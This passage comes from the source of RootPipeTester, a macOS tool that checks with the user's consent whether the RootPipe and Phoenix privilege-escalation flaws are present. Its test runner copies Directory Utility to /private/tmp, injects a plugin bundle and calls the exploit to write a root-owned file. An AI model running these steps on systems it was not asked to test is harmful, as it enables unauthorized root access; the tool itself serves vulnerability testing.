159 | [NSTimer scheduledTimerWithTimeInterval:0.01 target:self selector:@selector(quitUtility) userInfo:nil repeats:NO];
160 | }
161 | - (void)finishTesting {
162 | [[self class] finishTesting];
163 | }
164 |
165 | + (void)quitUtility {
166 | [NSApp terminate:self];
167 | [NSApp stop:self];
168 | }
169 |
170 | - (void)dealloc {
171 | [_rpTest release];
172 | [_localPipe release];
173 | [[_connection sendPort] invalidate];
174 | [[_connection receivePort] invalidate];
175 | [_connection invalidate];
176 | [_connection release];
177 | [super dealloc];
178 | }
179 | @end
180 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RPTDAPlugIn/RPTDAPlugIn_Prefix.pch:
--------------------------------------------------------------------------------
1 | //
2 | // Prefix header for all source files of the 'RPTDAPlugIn' target in the 'RootPipeTester' project
3 | //
4 |
5 | #include "RootPipeTester_Prefix.pch"
6 |
--------------------------------------------------------------------------------
/src/RootPipeTester/Resources/RootPipeTester.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/Resources/RootPipeTester.icns
--------------------------------------------------------------------------------
/src/RootPipeTester/Resources/RootPipeTesterLegacy.icns:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sideeffect42/RootPipeTester/53ad62c4f9a7ee4a882deb004c876c3608e15bae/src/RootPipeTester/Resources/RootPipeTesterLegacy.icns
--------------------------------------------------------------------------------
/src/RootPipeTester/RightsInspectorDelegate.h:
--------------------------------------------------------------------------------
1 | #import
2 | #if MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_3
3 | #include
4 | #else
5 | enum {
6 | errAuthorizationSuccess = 0, /* The operation completed successfully. */
7 | // rest omitted
8 | };
9 | #endif
10 |
11 | @interface RPTKeyValuePair : NSObject {
12 | id _key;
13 | id _value;
14 | }
15 | - (id)initWithKey:(id)key value:(id)value;
16 | - (id)key;
17 | - (id)value;
18 | - (NSString *)description;
19 | - (void)dealloc;
20 | @end
21 |
22 | @interface RPTRightsDataSource : NSObject /*NSComboBoxDataSource*/ {
23 | NSArray *_rights;
24 | }
25 | - (id)initWithRightsDB:(NSDictionary *)rightsDB;
26 | - (int)numberOfItemsInComboBox:(NSComboBox *)comboBox;
27 | - (id)comboBox:(NSComboBox *)comboBox objectValueForItemAtIndex:(int)index;
28 | - (void)dealloc;
29 | @end
30 |
31 | @interface RPTRightsViewDataSource : NSObject /*NSOutlineViewDataSource*/ {
32 | NSDictionary *_right;
33 | NSMutableSet *_pairs;
34 | }
35 | - (id)initWithRightDefinition:(NSDictionary *)rightDefinition;
36 | - (id)outlineView:(NSOutlineView *)outlineView child:(int)index ofItem:(id)item;
37 | - (BOOL)outlineView:(NSOutlineView *)outlineView isItemExpandable:(id)item;
38 | - (int)outlineView:(NSOutlineView *)outlineView numberOfChildrenOfItem:(id)item;
39 | - (id)outlineView:(NSOutlineView *)outlineView objectValueForTableColumn:(NSTableColumn *)tableColumn byItem:(id)item;
40 |
41 | - (void)dealloc;
42 | @end
43 |
44 |
45 | @interface RightsInspectorDelegate : NSObject {
46 | IBOutlet NSWindow *inspectorWindow;
47 | IBOutlet NSComboBox *rightChooser;
48 | IBOutlet NSOutlineView *rightView;
49 |
50 | NSDictionary *_rightsDB;
51 | NSString *_displayedRight;
52 | NSString *_systemPreferencesRight;
53 | }
54 | - (id)init;
55 |
56 | - (IBAction)displaySystemPreferencesRight:(id)sender;
57 | - (IBAction)refreshView:(id)sender;
58 | - (IBAction)exportRightDefinition:(id)sender;
59 | - (IBAction)comboBoxAction:(NSComboBox *)sender;
60 |
61 | - (NSDictionary *)rightDefinitionByName:(NSString *)name;
62 | - (void)dealloc;
63 | @end
64 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RightsInspectorDelegate.m:
--------------------------------------------------------------------------------
1 | #import "RightsInspectorDelegate.h"
2 |
3 | #define ORDER_RIGHTS_BY_NAME 1
4 | #define POLICY_DATABASE_FILE @"/private/etc/authorization"
5 | #define POLICY_DATABASE_FALLBACK_FILE @"/private/etc/authorization.deprecated"
6 |
7 | @implementation RPTKeyValuePair
8 |
9 | - (id)initWithKey:(id)key value:(id)value {
10 | if ((self = [super init])) {
11 | _key = [key retain];
12 | _value = [value retain];
13 | }
14 | return self;
15 | }
16 | - (id)key {
17 | return _key;
18 | }
19 | - (id)value {
20 | return _value;
21 | }
22 | - (NSString *)description {
23 | return [NSString stringWithFormat:@"{ %@ : %@ }", [self key], [self value]];
24 | }
25 | - (void)dealloc {
26 | [_key release];
27 | [_value release];
28 | [super dealloc];
29 | }
30 |
31 | @end
32 |
33 | @implementation RPTRightsDataSource
34 |
35 | - (id)initWithRightsDB:(NSDictionary *)rightsDB {
36 | if ((self = [super init])) {
37 | NSArray *rightKeys = [rightsDB allKeys];
38 | #if ORDER_RIGHTS_BY_NAME
39 | rightKeys = [rightKeys sortedArrayUsingSelector:@selector(caseInsensitiveCompare:)];
40 | #endif
41 |
42 | _rights = [rightKeys retain];
43 | }
44 | return self;
45 | }
46 | - (id)init {
47 | return [self initWithRightsDB:nil];
48 | }
49 |
50 | - (int)numberOfItemsInComboBox:(NSComboBox *)comboBox {
51 | return [_rights count];
52 | }
53 |
54 | - (id)comboBox:(NSComboBox *)comboBox objectValueForItemAtIndex:(int)index {
55 | if (index < 0 || (unsigned)index >= [_rights count]) return nil;
56 | return [_rights objectAtIndex:index];
57 | }
58 |
59 | - (unsigned)comboBox:(NSComboBox *)comboBox indexOfItemWithStringValue:(NSString *)string {
60 | return [_rights indexOfObject:string];
61 | }
62 |
63 | - (void)dealloc {
64 | [_rights release];
65 | [super dealloc];
66 | }
67 |
68 | @end
69 |
70 | @implementation RPTRightsViewDataSource
71 |
72 | - (id)initWithRightDefinition:(NSDictionary *)rightDefinition {
73 | if ((self = [super init])) {
74 | _pairs = [[NSMutableSet alloc] initWithCapacity:[rightDefinition count] /* just a guess, most keys are scalar */];
75 | _right = [[NSDictionary alloc] initWithDictionary:rightDefinition];
76 | }
77 | return self;
78 | }
79 |
80 | - (id)outlineView:(NSOutlineView *)outlineView child:(int)index ofItem:(id)item {
81 | NSArray *orderedChildList = nil;
82 | id key = nil, value = nil;
83 |
84 | item = (item ? [item value] : _right);
85 |
86 | if ([item isKindOfClass:[NSDictionary class]]) {
87 | orderedChildList = [[item allKeys] sortedArrayUsingSelector:@selector(caseInsensitiveCompare:)];
88 | key = [orderedChildList objectAtIndex:index];
89 | value = [item objectForKey:key];
90 | } else if ([item isKindOfClass:[NSArray class]]) {
91 | orderedChildList = [item sortedArrayUsingSelector:@selector(caseInsensitiveCompare:)];
92 | key = @"";
93 | value = [orderedChildList objectAtIndex:index];
94 | } else {
95 | key = item;
96 | value = @"";
97 | }
98 |
99 | RPTKeyValuePair *pair = [[RPTKeyValuePair alloc] initWithKey:key value:value];
100 | [_pairs addObject:pair]; // store pair in _pairs for memory management
101 | [pair release];
102 |
103 | return pair;
104 | }
105 |
106 | - (BOOL)outlineView:(NSOutlineView *)outlineView isItemExpandable:(id)item {
107 | return ([self outlineView:outlineView numberOfChildrenOfItem:item] > 0);
108 | }
109 |
110 | - (int)outlineView:(NSOutlineView *)outlineView numberOfChildrenOfItem:(id)item {
111 | item = (item ? [item value] : _right);
112 | return ([item respondsToSelector:@selector(count)] ? [item count] : 0);
113 | }
114 |
115 | - (id)outlineView:(NSOutlineView *)outlineView objectValueForTableColumn:(NSTableColumn *)tableColumn byItem:(id)item {
116 | NSString *colId = [tableColumn identifier];
117 | id object = nil;
118 |
119 | if ([colId isEqualToString:@"key"]) {
120 | object = [item key];
121 | } else if ([colId isEqualToString:@"value"]) {
122 | object = [item value];
123 | }
124 |
125 | if (!object) {
126 | return @""; // object is nil
127 | } else if ([object isKindOfClass:[NSString class]]) {
128 | return object;
129 | } else if (CFGetTypeID(object) == CFBooleanGetTypeID()) {
130 | return ([object boolValue] ? @"true" : @"false");
131 | } else if ([object isKindOfClass:[NSArray class]]) {
132 | return @"(Array)";
133 | } else if ([object isKindOfClass:[NSDictionary class]]) {
134 | return @"(Dictionary)";
135 | } else {
136 | return [NSString stringWithFormat:@"%@", object]; // maybe the object can be formatted to a string
137 | }
138 | }
139 | - (void)dealloc {
140 | [_pairs release];
141 | [_right release];
142 | [super dealloc];
143 | }
144 |
145 | @end
146 |
147 |
148 | @interface RightsInspectorDelegate (PrivateMethods)
149 | - (BOOL)loadPolicyDBFromPath:(NSString *)path;
150 | - (void)windowDidBecomeKey:(NSNotification *)notification;
151 | - (void)updateOutlineViewWithRightName:(NSString *)rightName;
152 | - (void)updateOutlineViewWithSelectionOfComboBox:(NSComboBox *)comboBox;
153 | @end
154 |
155 | @implementation RightsInspectorDelegate
156 |
157 | Class NSAdminPreference = NULL;
158 |
159 | - (id)init {
160 | if ((self = [super init])) {
161 | NSAdminPreference = NSClassFromString(@"NSAdminPreference");
162 | _rightsDB = nil;
163 | _displayedRight = nil;
164 | _systemPreferencesRight = @"system.preferences"; // default
165 |
166 | if (NSAdminPreference) {
167 | // ask it for the appropriate System Preferences right
168 | id adminPreference = [[NSAdminPreference alloc] init];
169 | if ([adminPreference respondsToSelector:@selector(authorizationString)]) {
170 | char *prefStr = (char *)[adminPreference performSelector:@selector(authorizationString)];
171 | _systemPreferencesRight = [[NSString alloc] initWithUTF8String:prefStr];
172 | }
173 | [adminPreference release];
174 | }
175 |
176 | }
177 | return self;
178 | }
179 |
180 | - (BOOL)loadPolicyDBFromPath:(NSString *)path {
181 | NSDictionary *dict = (([(dict = [NSDictionary dictionaryWithContentsOfFile:path]) objectForKey:@"rights"]) ?: dict); // 10.2.x doesn't have a rights subkey
182 |
183 | if ([dict isKindOfClass:[NSDictionary class]] && [dict count] > 0) {
184 | [_rightsDB release];
185 | _rightsDB = [dict retain];
186 |
187 | [inspectorWindow setRepresentedFilename:path];
188 | [inspectorWindow setTitleWithRepresentedFilename:path];
189 | [inspectorWindow setTitle:[NSString stringWithFormat:@"%@ - Rights Inspector", [inspectorWindow title]]];
190 | return YES;
191 | }
192 |
193 | return NO;
194 | }
195 |
196 | - (void)windowDidBecomeKey:(NSNotification *)notification {
197 | static BOOL inspectorWindowHasInitialized = NO;
198 | if (inspectorWindowHasInitialized || [notification object] != inspectorWindow) return;
199 | inspectorWindowHasInitialized = YES;
200 |
201 | // Load Policy Database
202 | if (![self loadPolicyDBFromPath:POLICY_DATABASE_FILE] && ![self loadPolicyDBFromPath:POLICY_DATABASE_FALLBACK_FILE]) {
203 | NSRunAlertPanel(@"Error", [NSString stringWithFormat:@"An error occurred while loading the Policy Database from\n - \"%@\"\n - \"%@\".", POLICY_DATABASE_FILE, POLICY_DATABASE_FALLBACK_FILE], nil, nil, nil);
204 | return;
205 | }
206 |
207 | // Initialise Combo Box Values
208 | [rightChooser setDataSource:[[RPTRightsDataSource alloc] initWithRightsDB:_rightsDB]];
209 | [rightChooser reloadData];
210 |
211 | // Select "System Preferences right" by default
212 | [rightChooser selectItemAtIndex:[[rightChooser dataSource] comboBox:rightChooser indexOfItemWithStringValue:_systemPreferencesRight]];
213 | [self updateOutlineViewWithSelectionOfComboBox:rightChooser];
214 | }
215 |
216 | - (NSDictionary *)rightDefinitionByName:(NSString *)name {
217 | if (!name) return nil;
218 | NSDictionary *rightDefinition = nil;
219 | OSStatus (*rightget)(const char *, CFDictionaryRef *) = NULL;
220 |
221 | CFBundleRef securityBundle = CFBundleGetBundleWithIdentifier((CFStringRef)@"com.apple.security");
222 |
223 | if (securityBundle != NULL &&
224 | (rightget = CFBundleGetFunctionPointerForName(securityBundle, (CFStringRef)@"AuthorizationRightGet"))) {
225 | // Ask Authorization Services for the dictionary (10.3+)
226 | OSStatus status = (*rightget)([name UTF8String], (CFDictionaryRef *)&rightDefinition); // rightDefinition is autoreleased
227 | if (status != errAuthorizationSuccess) return nil;
228 | } else {
229 | // Read from the Policy Database ourselfs *sigh* (10.2.x)
230 | [self loadPolicyDBFromPath:POLICY_DATABASE_FILE]; // reload DB
231 | // TODO: Parse and associate XML comments :/
232 | rightDefinition = [_rightsDB objectForKey:name];
233 | }
234 |
235 | return rightDefinition;
236 | }
237 |
238 | - (void)updateOutlineViewWithRightName:(NSString *)rightName {
239 | NSDictionary *rightDefinition = [self rightDefinitionByName:rightName];
240 | [rightView setDataSource:[[RPTRightsViewDataSource alloc] initWithRightDefinition:rightDefinition]];
241 |
242 | // Update _displayedRight
243 | [_displayedRight release];
244 | _displayedRight = [rightName retain];
245 | }
246 |
247 | - (void)updateOutlineViewWithSelectionOfComboBox:(NSComboBox *)comboBox {
248 | NSString *rightName = [[comboBox dataSource] comboBox:comboBox objectValueForItemAtIndex:[comboBox indexOfSelectedItem]];
249 | [self updateOutlineViewWithRightName:rightName];
250 | }
251 |
252 | - (IBAction)displaySystemPreferencesRight:(id)sender {
253 | [rightChooser selectItemAtIndex:[[rightChooser dataSource] comboBox:rightChooser indexOfItemWithStringValue:_systemPreferencesRight]];
254 | [self updateOutlineViewWithSelectionOfComboBox:rightChooser];
255 | }
256 | - (IBAction)refreshView:(id)sender {
257 | [self updateOutlineViewWithRightName:_displayedRight];
258 | }
259 | - (IBAction)exportRightDefinition:(id)sender {
260 | NSSavePanel *savePanel = [NSSavePanel savePanel];
261 | [savePanel setRequiredFileType:@"plist"];
262 | [savePanel setPrompt:@"Export"];
263 |
264 | // Display Save Sheet
265 | [savePanel beginSheetForDirectory:nil
266 | file:[NSString stringWithFormat:@"%@.plist", _displayedRight]
267 | modalForWindow:inspectorWindow
268 | modalDelegate:self
269 | didEndSelector:@selector(savePanelDidEnd:returnCode:contextInfo:)
270 | contextInfo:[_displayedRight copy]
271 | ];
272 | }
273 | - (void)savePanelDidEnd:(NSSavePanel *)sheet returnCode:(int)returnCode contextInfo:(void *)contextInfo {
274 | NSString *rightName = [(id)contextInfo autorelease];
275 |
276 | if (returnCode != NSOKButton) return;
277 | NSString *destinationFile = [sheet filename];
278 |
279 | NSDictionary *rightDefinition = [self rightDefinitionByName:rightName]; // returns nil if not found
280 | if (!rightDefinition) {
281 | NSRunAlertPanel(@"Could not export Right Definition", @"The Right Definition could not be exported because the definition is empty", nil, nil, nil);
282 | return;
283 | }
284 | [rightDefinition writeToFile:destinationFile atomically:YES];
285 | }
286 | - (IBAction)comboBoxAction:(NSComboBox *)sender {
287 | [self updateOutlineViewWithSelectionOfComboBox:sender];
288 | }
289 |
290 | - (void)dealloc {
291 | [[rightChooser dataSource] release];
292 | [[rightView dataSource] release];
293 | [_rightsDB release];
294 | [_displayedRight release];
295 | [_systemPreferencesRight release];
296 | [super dealloc];
297 | }
298 |
299 | @end
300 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeDelegate.h
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 11.04.2015.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #include
24 | #import
25 | #import "RootPipeTest.h"
26 | #import "RPTDAPlugIn.h"
27 |
28 | @interface RootPipeDelegate : NSObject {
29 | IBOutlet NSWindow *mainWindow;
30 | IBOutlet NSButton *startButton;
31 | IBOutlet NSTextView *textOutput;
32 |
33 | RootPipeTest *_rpTest;
34 | }
35 |
36 | - (IBAction)startTest:(NSButton *)sender;
37 | - (void)initiateAutomatedTesting;
38 |
39 | @end
40 |
--------------------------------------------------------------------------------
/src/RootPipeTester/RootPipeDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // RootPipeDelegate.m
3 | // RootPipeTester
4 | //
5 | // Created by Takashi Yoshi on 11.04.2015.
6 | // Copyright 2015 Takashi Yoshi.
7 | //
8 | //
9 | // This program is free software: you can redistribute it and/or modify
10 | // it under the terms of the GNU General Public License as published by
11 | // the Free Software Foundation, either version 3 of the License, or
12 | // (at your option) any later version.
13 | //
14 | // This program is distributed in the hope that it will be useful,
15 | // but WITHOUT ANY WARRANTY; without even the implied warranty of
16 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17 | // GNU General Public License for more details.
18 | //
19 | // You should have received a copy of the GNU General Public License
20 | // along with this program. If not, see .
21 | //
22 |
23 | #import "RootPipeDelegate.h"
24 |
25 | @implementation RootPipeDelegate
26 |
27 | typedef enum {
28 | kRPTTestFinishedVulnerable,
29 | kRPTTestFinishedSecure
30 | } RPTTestFinishedAlertSheetMode;
31 |
32 | - (id)init {
33 | if ((self = [super init])) {
34 | _rpTest = [[RootPipeTest alloc] init];
35 | }
36 | return self;
37 | }
38 |
39 | - (void)applicationDidFinishLaunching:(NSNotification *)notification {
40 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleTestStateChange:) name:RootPipeTestStarted object:nil];
41 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(handleTestStateChange:) name:RootPipeTestFinished object:nil];
42 | }
43 |
44 | - (void)handleTestStateChange:(NSNotification *)notification {
45 | static NSString * defaultWindowTitle = nil;
46 |
47 | if ([notification name] == RootPipeTestStarted) {
48 | if (!defaultWindowTitle) defaultWindowTitle = [[mainWindow title] retain];
49 |
50 | [mainWindow setTitle:[defaultWindowTitle stringByAppendingString:@" - Running..."]];
51 | } else if ([notification name] == RootPipeTestFinished) {
52 | [mainWindow setTitle:defaultWindowTitle];
53 | }
54 | }
55 |
56 | - (IBAction)startTest:(NSButton *)sender {
57 | [startButton setEnabled:NO];
58 | NSBeginInformationalAlertSheet(@"RootPipe Tester",
59 | @"Start Test", @"Cancel", nil,
60 | mainWindow,
61 | self,
62 | NULL, @selector(sheetDidDismiss:returnCode:contextInfo:),
63 | @"StartTestDialog",
64 | @"By clicking the \"Start Test\" button you agree that this test will try to make use of a vulnerability in Mac OS X to write a file owned by root:wheel to your /private/tmp directory.\nIf you don't agree with that, please click \"Cancel\" now.\n\nNOTE: If you're being asked to enter a password, please Cancel the dialog."
65 | );
66 | }
67 |
68 | - (void)sheetDidDismiss:(NSWindow *)sheet returnCode:(int)returnCode contextInfo:(NSString *)contextInfo {
69 | if ([contextInfo isEqualToString:@"StartTestDialog"]) {
70 | if (returnCode == NSAlertDefaultReturn /* Start Test */) {
71 | // Start the test
72 | [startButton removeFromSuperview];
73 | [self initiateAutomatedTesting];
74 | } else {
75 | [startButton setEnabled:YES];
76 | }
77 | return;
78 | }
79 |
80 | if ([contextInfo isEqualToString:@"MainCloseShouldCleanUpDialog"] || [contextInfo isEqualToString:@"TerminateShouldCleanUpDialog"]) {
81 | if (returnCode == NSAlertDefaultReturn /* Clean Up */) {
82 | [_rpTest cleanUp];
83 | }
84 |
85 | // Bye bye
86 | if ([contextInfo isEqualToString:@"MainCloseShouldCleanUpDialog"]) {
87 | [mainWindow close]; // won't show the dialog again
88 | } else if ([contextInfo isEqualToString:@"TerminateShouldCleanUpDialog"]) {
89 | [NSApp replyToApplicationShouldTerminate:YES]; // quit app
90 | }
91 | return;
92 | }
93 | }
94 |
95 |
96 | - (void)initiateAutomatedTesting {
97 | NSLog(@"Starting testing");
98 |
99 | [NSThread detachNewThreadSelector:@selector(initiateAutomatedTestingRunnable) toTarget:self withObject:nil];
100 | }
101 |
102 | - (void)initiateAutomatedTestingRunnable { // should be run in a separate thread to avoid stalling
103 | short i;
104 | NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init];
105 | NSFileManager *fm = [NSFileManager defaultManager];
106 | NSDictionary *fileAttributes = nil;
107 | NSMutableSet *usedFiles = [NSMutableSet setWithCapacity:4];
108 |
109 | [[NSNotificationCenter defaultCenter] postNotificationName:RootPipeTestStarted object:NSApp];
110 |
111 | // Redirect stdout and stderr to the TextView
112 | int oldStdOut = dup(fileno(stdout)); // make a copy of the old outs to restore later
113 | int oldStdErr = dup(fileno(stderr));
114 |
115 | setvbuf(stdout, NULL, _IONBF /* No Buffering */, BUFSIZ);
116 | setvbuf(stderr, NULL, _IONBF /* No Buffering */, BUFSIZ);
117 |
118 | NSPipe *pipe = [NSPipe pipe];
119 | NSFileHandle *pipeHandle = [pipe fileHandleForReading];
120 | dup2([[pipe fileHandleForWriting] fileDescriptor], fileno(stdout)); // redirect stdout to pipe
121 | dup2([[pipe fileHandleForWriting] fileDescriptor], fileno(stderr)); // redirect stderr to pipe
122 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(updateTextView:) name:NSFileHandleReadCompletionNotification object:pipeHandle];
123 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(updateTextView:) name:NSFileHandleDataAvailableNotification object:pipeHandle];
124 | [pipeHandle performSelectorOnMainThread:@selector(waitForDataInBackgroundAndNotify) withObject:nil waitUntilDone:NO]; //Respects no buffer setting from above (current thread has no RunLoop, so we need to call on MainTread)!!
125 |
126 |
127 | // Acquire information about this user's system (mostly for "debugging")
128 | NSDictionary *appInfo = [[NSBundle mainBundle] infoDictionary];
129 | printf("%s %s\n", [(NSString *)[appInfo objectForKey:@"CFBundleName"] UTF8String], [(NSString *)[appInfo objectForKey:@"CFBundleVersion"] UTF8String]);
130 | printf("Running tests as user: %s\n", [NSUserName() UTF8String]);
131 | NSDictionary *systemVersion = [NSDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"];
132 | printf("%s version: %s (%s)\n",
133 | [(NSString *)[systemVersion objectForKey:@"ProductName"] UTF8String],
134 | [(NSString *)[systemVersion objectForKey:@"ProductVersion"] UTF8String],
135 | [(NSString *)[systemVersion objectForKey:@"ProductBuildVersion"] UTF8String]
136 | );
137 | printf("Appropriate API version for your system: %s\n", ([RootPipeExploit apiVersion] == RootPipeNewApi ? "New API" : "Old API"));
138 | printf("\n");
139 |
140 | // Run tests
141 |
142 | // [nil auth]
143 | BOOL vulnerableWithoutAuth = [_rpTest runTestWithAuthorization:NO fileAttributes:&fileAttributes]; // nil auth test
144 | if (vulnerableWithoutAuth) {
145 | printf("\nYour system is vulnerable against RootPipe using nil authorization! (probably 10.9.0 - 10.10.2)\n");
146 | } else {
147 | printf("\nYour system is not vulnerable against RootPipe using nil authorization. (probably 10.8 or older)\n");
148 | }
149 | if (fileAttributes) {
150 | printf("\nFile attributes: %s\n", [[fileAttributes descriptionWithLocale:nil indent:1] UTF8String]);
151 | }
152 | // [/nil auth]
153 |
154 | printf("\n");
155 |
156 | // [user auth]
157 | BOOL vulnerableWithAuth = [_rpTest runTestWithAuthorization:YES fileAttributes:&fileAttributes]; // user auth test
158 | if (vulnerableWithAuth) {
159 | printf("\nYour system is vulnerable agsinst RootPipe using user authorization. Are you a \"Standard User\" or did you enter your password?\n");
160 | } else {
161 | printf("\nYour system is not vulnerable against RootPipe using user authorization.\n");
162 | }
163 | if (fileAttributes) {
164 | printf("\nFile attributes: %s\n", [[fileAttributes descriptionWithLocale:nil indent:1] UTF8String]);
165 | }
166 | // [/user auth]
167 |
168 | [usedFiles unionSet:[_rpTest usedTestFiles]];
169 |
170 | printf("\n\n");
171 |
172 | #define DIRACCESS_PATHS_LENGTH 4
173 | static NSString * const kDirAccessPaths[DIRACCESS_PATHS_LENGTH] = {
174 | @"/Applications/Utilities/Directory Access.app", // 10.4 or earlier
175 | @"/Applications/Utilities/Directory Utility.app", // 10.5
176 | @"/System/Library/CoreServices/Directory Utility.app", // 10.6 - 10.9
177 | @"/System/Library/CoreServices/Applications/Directory Utility.app" // 10.10 or later
178 | };
179 |
180 | static NSString * const kRPTTempDir = @"/private/tmp/RootPipeTester";
181 | static NSString * const kDirAccessPathDest = @"/private/tmp/RootPipeTester/Directory Access.app"; // path where Directory Access should be copied to
182 |
183 | // Prepare temp directory
184 | BOOL tempFileIsDir = NO;
185 | if (![fm fileExistsAtPath:kRPTTempDir isDirectory:&tempFileIsDir]) {
186 | [fm createDirectoryAtPath:kRPTTempDir attributes:nil];
187 | } else if (!tempFileIsDir) {
188 | printf("Could not run Phoenix test because \"%s\" already exists.\n", [kRPTTempDir UTF8String]);
189 | goto phoenixend;
190 | }
191 | [fm removeFileAtPath:kDirAccessPathDest handler:nil];
192 |
193 | // Copy Directory Access to temp
194 | BOOL dirAccessCopySuccess = NO;
195 | const char *dirAccessName = "";
196 | for (i = 0; i < DIRACCESS_PATHS_LENGTH; i++) {
197 | NSString *pathToCheck = kDirAccessPaths[i];
198 | if ([fm fileExistsAtPath:pathToCheck] && [fm isExecutableFileAtPath:pathToCheck]) {
199 | dirAccessCopySuccess = [fm copyPath:pathToCheck toPath:kDirAccessPathDest handler:nil];
200 | dirAccessName = [[[pathToCheck lastPathComponent] stringByDeletingPathExtension] UTF8String];
201 | }
202 | }
203 |
204 | if (!dirAccessCopySuccess) {
205 | printf("Could not run Phoenix test because the \"%s\" application could not be found on your system.\n", dirAccessName);
206 | goto phoenixend;
207 | }
208 |
209 | // Inject RPTDABundle
210 | BOOL bundleCopySuccess = NO;
211 | #define RPTDAPlugIn_BUNDLE_NAME @"RPTDAPlugIn.bundle"
212 | NSString *bundlePath = ([[NSBundle bundleWithIdentifier:@"ch.maniswebdesign.RootPipeTester.RPTDAPlugIn"] bundlePath] ?:
213 | [[[NSBundle mainBundle] resourcePath] stringByAppendingPathComponent:RPTDAPlugIn_BUNDLE_NAME]);
214 | if (![fm fileExistsAtPath:bundlePath]) {
215 | printf("Could not find %s.\n", [RPTDAPlugIn_BUNDLE_NAME UTF8String]);
216 | goto phoenixend;
217 | }
218 | bundleCopySuccess = [fm copyPath:bundlePath toPath:[kDirAccessPathDest stringByAppendingString:@"/Contents/PlugIns/RPTDAPlugIn.daplug"] handler:nil];
219 |
220 | // Launch Directory Access from temp
221 | if (!(dirAccessCopySuccess && bundleCopySuccess
222 | && [fm fileExistsAtPath:kDirAccessPathDest]
223 | && [fm isExecutableFileAtPath:kDirAccessPathDest]
224 | && [[NSWorkspace sharedWorkspace] launchApplication:kDirAccessPathDest showIcon:NO autolaunch:NO]
225 | )) {
226 | printf("Could not launch %s from \"%s\".\n", dirAccessName, [kDirAccessPathDest UTF8String]);
227 | goto phoenixend;
228 | }
229 |
230 | // Get Remote Connection
231 | #define HELPER_CONN_TIMEOUT 40 // seconds
232 | #define HELPER_CONN_INTERVAL 250000 // microseconds
233 | #define HELPER_CONN_TRIES (HELPER_CONN_TIMEOUT*1000000/HELPER_CONN_INTERVAL)
234 | printf("Waiting for connection to %s...\n", dirAccessName);
235 | RPTDAPlugIn /*NSDistantObject*/ *phoenixConn = nil;
236 | i = 0; // reset i
237 | NS_DURING
238 | while (!(phoenixConn = (RPTDAPlugIn *)[NSConnection rootProxyForConnectionWithRegisteredName:@"RPTDAPlugIn-Connection" host:nil]) && (++i) < HELPER_CONN_TRIES) {
239 | printf(".");
240 | usleep(HELPER_CONN_INTERVAL);
241 | }
242 | NS_HANDLER
243 | fprintf(stderr, "\nAn error occurred while waiting for a connection to %s: %s\n", dirAccessName, [[localException description] UTF8String]);
244 | NS_ENDHANDLER
245 |
246 | printf("\n");
247 |
248 | short connDelay = (i*HELPER_CONN_INTERVAL/1000000);
249 | if (!phoenixConn) {
250 | printf("Could not get a connection to %s after %d seconds.\n", dirAccessName, connDelay);
251 | goto phoenixend;
252 | } else printf("Got a connection to %s after %d seconds.\n", dirAccessName, connDelay);
253 |
254 | printf("\n");
255 |
256 | // [phoenix - nil auth]
257 | NSNumber *vulnerableWithoutPhoenixAuth = [NSNumber numberWithBool:NO];
258 | NS_DURING
259 | [phoenixConn runTestWithAuthorization:NO fileAttributes:&fileAttributes throughShim:&pipe testResult:&vulnerableWithoutPhoenixAuth]; // phoenix nil auth test
260 | if ([vulnerableWithoutPhoenixAuth boolValue]) {
261 | printf("\nYour system is vulnerable against Phoenix using nil authorization! (probably 10.9 - 10.10.3)\n");
262 | } else {
263 | printf("\nYour system is not vulnerable against Phoenix using nil authorization.\n");
264 | }
265 | if (fileAttributes) {
266 | printf("\nFile attributes: %s\n", [[fileAttributes descriptionWithLocale:nil indent:1] UTF8String]);
267 | }
268 | NS_HANDLER
269 | fprintf(stderr, "An error occurred while testing against Phoenix using nil authorization: %s\n", [[localException description] UTF8String]);
270 | NS_ENDHANDLER
271 | // [/phoenix - nil auth]
272 |
273 | printf("\n");
274 |
275 | // [phoenix - user auth]
276 | NSNumber *vulnerableWithPhoenixAuth = [NSNumber numberWithBool:NO];
277 | NS_DURING
278 | [phoenixConn runTestWithAuthorization:YES fileAttributes:&fileAttributes throughShim:&pipe testResult:&vulnerableWithPhoenixAuth]; // phoenix user auth test
279 | if ([vulnerableWithPhoenixAuth boolValue]) {
280 | printf("\nYour system is vulnerable against Phoenix using user authorization. (probably 10.10.3 or older)\n");
281 | } else {
282 | printf("\nYour system is not vulnerable against Phoenix using user authorization.\n");
283 | }
284 | if (fileAttributes) {
285 | printf("\nFile attributes: %s\n", [[fileAttributes descriptionWithLocale:nil indent:1] UTF8String]);
286 | }
287 | NS_HANDLER
288 | fprintf(stderr, "An error occurred while testing against Phoenix using user authorization: %s\n", [[localException description] UTF8String]);
289 | NS_ENDHANDLER
290 | // [/phoenix - user auth]
291 |
292 | NS_DURING
293 | NSSet *phoenixUsed = [[phoenixConn test] usedTestFiles];
294 | [usedFiles unionSet:phoenixUsed];
295 | [phoenixConn performSelector:@selector(finishTesting)];
296 | NS_HANDLER
